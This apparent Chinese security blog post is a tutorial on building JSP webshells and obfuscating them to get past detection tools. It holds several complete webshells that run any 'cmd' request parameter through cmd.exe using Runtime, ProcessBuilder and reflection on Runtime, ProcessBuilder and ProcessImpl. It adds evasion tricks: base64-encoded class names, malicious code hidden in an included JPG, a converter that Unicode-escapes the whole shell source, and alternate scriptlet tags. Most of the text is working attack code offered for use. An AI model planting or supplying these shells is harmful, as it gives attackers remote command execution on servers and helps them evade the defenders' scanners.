命令执行
Java命令执行的类,主要是Runtime类和ProcessBuilder类,根据这两个类,我们可以编写出经典的jsp webshell,代码以适用windows平台为例
Runtime类实现命令执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
   | <%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%> <%@ page import="java.io.*"%> <%     out.print(System.getProperty("os.name").toLowerCase());     String  cmd = request.getParameter("cmd");     if(cmd != null){         Process p =  Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",cmd});         InputStream input = p.getInputStream();         InputStreamReader ins = new InputStreamReader(input, "GBK");         BufferedReader br = new BufferedReader(ins);         out.print("<pre>");         String line;         while((line = br.readLine()) != null) {             out.println(line);         }         out.print("</pre>");         br.close();         ins.close();         input.close();         p.getOutputStream().close();     } %>
   | 
 
ProcessBuilder类实现命令执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
   | <%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%> <%@ page import="java.io.*"%> <%         out.print(System.getProperty("os.name").toLowerCase());         String cmd = request.getParameter("cmd");         if(cmd != null){             String[] cmds = new String[]{"cmd","/c",cmd};             ProcessBuilder builder = new ProcessBuilder(cmds);             Process process = builder.start();             InputStream in = process.getInputStream();             InputStreamReader ins = new InputStreamReader(in, "GBK");             BufferedReader br = new BufferedReader(ins);             out.print("<pre>");             String line;             while((line = br.readLine()) != null) {                 out.println(line);             }             out.print("</pre>");             br.close();             ins.close();             in.close();             process.getOutputStream().close();     } %>
   | 
 
反射
利用反射来免杀webshell是常用技术之一
反射获取Runtime类实现命令执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
   | <%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%> <%@ page import="java.io.*"%> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="java.lang.reflect.Method" %> <%@ page import="java.lang.reflect.InvocationTargetException" %> <%     out.print(System.getProperty("os.name").toLowerCase());     String  cmd = request.getParameter("cmd");     if(cmd != null) {         String[] cmds = new String[]{"cmd", "/c", cmd};         Class clazz = null;         try {             clazz = Class.forName("java.lang.Runtime");         } catch (ClassNotFoundException e) {             e.printStackTrace();         }         Constructor declaredConstructor = clazz.getDeclaredConstructor();         declaredConstructor.setAccessible(true);         Object o = null;         try {             o = declaredConstructor.newInstance();         } catch (InstantiationException | IllegalAccessException | InvocationTargetException e) {             e.printStackTrace();         }         Method show = null;         try {             show = clazz.getDeclaredMethod("exec", String[].class);         } catch (NoSuchMethodException e) {             e.printStackTrace();         }         Object invoke = null;         try {             invoke = show.invoke(o, (Object) cmds);         } catch (IllegalAccessException | InvocationTargetException e) {             e.printStackTrace();         }         Process invoke1 = (Process) invoke;
          InputStream input = invoke1.getInputStream();         InputStreamReader ins = new InputStreamReader(input, "GBK");         BufferedReader br = new BufferedReader(ins);         out.print("<pre>");         String line;         while ((line = br.readLine()) != null) {             out.println(line);         }         out.print("</pre>");         br.close();         ins.close();         input.close();         invoke1.getOutputStream().close();     } %>
   | 
 
反射获取ProcessBuilder类实现命令执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
   | <%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%> <%@ page import="java.io.*"%> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="java.lang.reflect.Method" %> <%@ page import="java.lang.reflect.InvocationTargetException" %> <%     out.print(System.getProperty("os.name").toLowerCase());     String cmd = request.getParameter("cmd");     if(cmd != null){         String[] cmds = new String[]{"cmd","/c",cmd};         Class clazz = null;         try {             clazz = Class.forName("java.lang.ProcessBuilder");         } catch (ClassNotFoundException e) {             e.printStackTrace();         }         Constructor declaredConstructors = null;         try {             declaredConstructors = clazz.getDeclaredConstructor(String[].class);         } catch (NoSuchMethodException e) {             e.printStackTrace();         }         Object o = null;         try {             o = declaredConstructors.newInstance((Object) cmds);         } catch (InstantiationException | IllegalAccessException | InvocationTargetException e) {             e.printStackTrace();         }         Method command = null;         try {             command = clazz.getDeclaredMethod("start");         } catch (NoSuchMethodException e) {             e.printStackTrace();         }         Object invoke = null;         try {             invoke = command.invoke(o);         } catch (IllegalAccessException | InvocationTargetException e) {             e.printStackTrace();         }         Process invoke1 = (Process) invoke;         InputStream input = invoke1.getInputStream();         InputStreamReader ins = new InputStreamReader(input, "GBK");         BufferedReader br = new BufferedReader(ins);         out.print("<pre>");         String line;         while ((line = br.readLine()) != null) {             out.println(line);         }         out.print("</pre>");         br.close();         ins.close();         input.close();         invoke1.getOutputStream().close();     } %>
   | 
 
反射获取ProcessImpl类实现命令执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
   | <%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%> <%@ page import="java.io.*"%> <%@ page import="java.lang.reflect.Method" %> <%@ page import="java.util.Map" %> <%@ page import="java.lang.reflect.InvocationTargetException" %> <%     out.print(System.getProperty("os.name").toLowerCase());     String cmd = request.getParameter("cmd");     if(cmd != null) {         String[] cmds = new String[]{"cmd.exe", "/c", cmd};         Class clazz = null;         try {             clazz = Class.forName("java.lang.ProcessImpl");         } catch (ClassNotFoundException e) {             e.printStackTrace();         }         //获取该class类         Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);         method.setAccessible(true);         //忽略访问权限         Process invoke1 = null;         try {             invoke1 = (Process) method.invoke(null, cmds, null, ".", null, true);         } catch (IllegalAccessException | InvocationTargetException e) {             e.printStackTrace();         }
          InputStream input = invoke1.getInputStream();         InputStreamReader ins = new InputStreamReader(input, "GBK");         BufferedReader br = new BufferedReader(ins);         out.print("<pre>");         String line;         while ((line = br.readLine()) != null) {             out.println(line);         }         out.print("</pre>");         br.close();         ins.close();         input.close();         invoke1.getOutputStream().close();     } %>
   | 
 
有些检测工具可能会对命令执行的类名进行检测,这里可以对类名进行加密或者编码,比如对java.lang.Runtime进行base64编码
1 2
   | String a = new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU=")); System.out.println(a);
  | 
 
不仅仅是类名,像命令执行的函数名同理,方法有很多,常见的加密都可以尝试。
include指令
Java Web 中有include指令,可以将外部文件嵌入到当前jsp语句中,并同时解析页面的jsp语句,和PHP中的include类似。
比如我们包含一个1.jpg
1 2
   | <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ include file="1.jpg" %>
   | 
 
这个时候我们可以在1.jpg中插入恶意代码,也是可以正常访问的

编码
Java 程序可以自动识别Unicode编码,所以我们可以将java源代码中除了page指令的代码外的,全部编码。
编写代码如下,代码的功能是读取保存了恶意代码的文件,然后将文件中的代码进行unicode编码输出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
   | package com.sec.test01.test;
  import java.io.BufferedReader; import java.io.File; import java.io.FileReader; import java.io.IOException;
  public class Testdd {     public static void  convert(String str) {         str = (str == null ? "" : str);         String tmp;         StringBuffer sb = new StringBuffer(1000);         char c;         int i, j;         sb.setLength(0);         for (i = 0; i < str.length(); i++) {             c = str.charAt(i);             sb.append("\\u");             j = (c >>> 8); //取出高8位             tmp = Integer.toHexString(j);             if (tmp.length() == 1) {                 sb.append("0");             }             sb.append(tmp);             j = (c & 0xFF); //取出低8位             tmp = Integer.toHexString(j);             if (tmp.length() == 1) {                 sb.append("0");             }             sb.append(tmp);
          }         System.out.print(new String(sb));     }
      public static void main(String[] args) throws IOException {         File srcfile = new File("D:\\code\\java1\\Reflect\\src\\main\\java\\com\\sec\\test01\\test\\1.txt");         FileReader fileReader = new FileReader(srcfile);         BufferedReader bufferedReader = new BufferedReader(fileReader);         String s;         while ((s = bufferedReader.readLine()) != null) {             convert(s);             System.out.print("\r\n");         }     } }
   | 
 
然后编写一个jsp,import需要的类,剩余就把生成的unicode字符粘贴到里面即可
1 2 3 4 5 6 7 8 9
   | <%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%> <%@ page import="java.io.*"%> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="java.lang.reflect.Method" %> <%@ page import="java.lang.reflect.InvocationTargetException" %> <!--import导入需要的类,否则会导致创建变量失败--> <%     生成的unicode编码 %>
   | 
 
运行结果如下

可以进一步优化,Unicode编码的关键点在于以’\u’开头,表明是unicode编码,可以将’u’重复声明,即’\uuuuuuu’达到混淆的目的
1 2
   | System.out.println("\u006f\u0075\u0074"); System.out.println("\uuuuuu006f\uuuuuuu0075\uuu0074");
  | 
 
输出一致:

可以再输出的时候将”\u”替换成”\uuuuuuuu”
1
   | System.out.print(new String(sb).replace("\\u", "\\uuuuuuuu"));
  | 
 
同样,也可以转换成其他编码格式。
其他
标签绕过,jsp标签<%%>可以使用<jsp:scriptlet></jsp:scriptlet>代替。
1 2 3
   | <jsp:scriptlet>     恶意代码 </jsp:scriptlet>
   | 
 
效果一样

对于传入的参数可以先将其存储进会话,然后调用。
1 2
   | request.setAttribute("a",request.getParameter("cmd")); String cmd = request.getAttribute("a").toString();
  | 
 
检测传入的命令,可以通过编码、加密、反转等等
1 2
   | //base64编码反转 String cmd = new String(Base64.getDecoder().decode(reverseStr(bs64)),"UTF-8");
   | 
 
参考
https://www.jianshu.com/p/c54ec1cbc091